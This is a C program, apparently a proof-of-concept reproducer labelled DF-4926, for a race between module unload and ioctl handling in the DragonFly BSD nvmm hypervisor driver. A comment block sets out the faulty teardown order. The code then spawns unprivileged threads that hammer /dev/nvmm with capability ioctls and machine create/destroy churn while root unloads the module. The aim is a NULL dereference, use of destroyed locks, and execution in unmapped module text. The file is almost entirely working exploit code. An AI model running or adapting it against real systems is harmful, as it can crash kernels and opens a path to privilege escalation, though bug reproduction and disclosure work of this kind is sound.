DF-4926 / nvmm_race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 | /* * DF-4926 racer โ unprivileged side of the nvmm kldunload-vs-ioctl race. * * sys/dev/virtual/nvmm/nvmm_dragonfly.c tears the hypervisor down in the * WRONG ORDER on module unload: * * nvmm_detach() (nvmm_dragonfly.c:366-374): * :369 if (os_atomic_load_uint(&nmachines) > 0) <- unsynchronized * :372 nvmm_fini(); <- destroys every machine rwl/mtx * (lockuninit x 128x128), runs impl->fini() * (vmx_fini frees VMXON regions/MSR bitmaps), * and sets nvmm_impl = NULL * nvmm_modevent() MOD_UNLOAD (nvmm_dragonfly.c:399-405): * :402 error = nvmm_detach(); * :404 destroy_dev(dev); <- TOO LATE * * Between the nmachines check and nvmm_fini() โ and for the whole duration * of nvmm_fini(), which destroys locks and NULLs/frees nvmm_impl while the * device is still live โ any in-flight ioctl on /dev/nvmm dereferences * nvmm_impl (NULL) or uses destroyed locks / freed implementation state. * destroy_dev(), which is what drains in-flight calls and blocks new ones, * only runs AFTER the teardown. An open fd also keeps the * dfbsd_nvmm_dtor() pointer (module text) alive past the unload: closing * the fd after a successful unload calls nvmm_kill_machines() in unmapped * text. * * This program (unprivileged, group nvmm): * -c : 3 threads doing a tight NVMM_IOC_CAPABILITY storm on one * fd (cheapest ioctl; dereferences nvmm_impl on every call: * nvmm.c:245,251) โ hits the fini window / NULL impl. * -m : 1 thread doing tight MACHINE_CREATE/MACHINE_DESTROY churn * โ makes nmachines oscillate 0<->1 so an unprivileged user * (not the admin) controls when the EBUSY gate is open. * (default) : both. * * Build: cc -O2 -pthread -o nvmm_race nvmm_race.c * Run: ./nvmm_race [-c|-m] (as the group-nvmm user; needs /dev/nvmm) * While it runs, root executes: kldunload nvmm (see race_unload.sh) */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <pthread.h> #include <sys/ioctl.h> #include <sys/types.h> #include <dev/virtual/nvmm/nvmm.h> #include <dev/virtual/nvmm/nvmm_ioctl.h> static volatile unsigned long ncap, ncreate, ndestroy; static volatile int stop; static void * cap_thread(void *arg) { struct nvmm_ioc_capability args; int fd = *(int *)arg; while (!stop) { if (ioctl(fd, NVMM_IOC_CAPABILITY, &args) == 0) ncap++; } return NULL; } static void * churn_thread(void *arg) { struct nvmm_ioc_machine_create mc; struct nvmm_ioc_machine_destroy md; int fd = *(int *)arg; while (!stop) { memset(&mc, 0, sizeof(mc)); if (ioctl(fd, NVMM_IOC_MACHINE_CREATE, &mc) == 0) { ncreate++; memset(&md, 0, sizeof(md)); md.machid = mc.machid; if (ioctl(fd, NVMM_IOC_MACHINE_DESTROY, &md) == 0) ndestroy++; } } return NULL; } int main(int argc, char **argv) { pthread_t th[4]; int fd, i, mode = 0; /* 0=both, 1=cap only, 2=churn only */ if (argc > 1 && strcmp(argv[1], "-c") == 0) mode = 1; if (argc > 1 && strcmp(argv[1], "-m") == 0) mode = 2; fd = open("/dev/nvmm", O_RDONLY | O_CLOEXEC); if (fd < 0) { fprintf(stderr, "open /dev/nvmm: %s\n", strerror(errno)); return 1; } printf("DF-4926 racer: fd=%d mode=%s (uid=%d)\n", fd, mode == 1 ? "capability-storm" : mode == 2 ? "machine-churn" : "combined", getuid()); fflush(stdout); if (mode != 2) { for (i = 0; i < 3; i++) pthread_create(&th[i], NULL, cap_thread, &fd); } if (mode != 1) pthread_create(&th[3], NULL, churn_thread, &fd); alarm(75); for (i = 0; i < 60; i++) { sleep(1); printf("t=%2ds cap=%lu create=%lu destroy=%lu\n", i + 1, ncap, ncreate, ndestroy); fflush(stdout); } stop = 1; sleep(1); /* fd left to exit(): if the module was unloaded under us, the close * runs dfbsd_nvmm_dtor -> nvmm_kill_machines in unmapped text. */ printf("DF-4926 racer exiting (fd close now)\n"); return 0; } |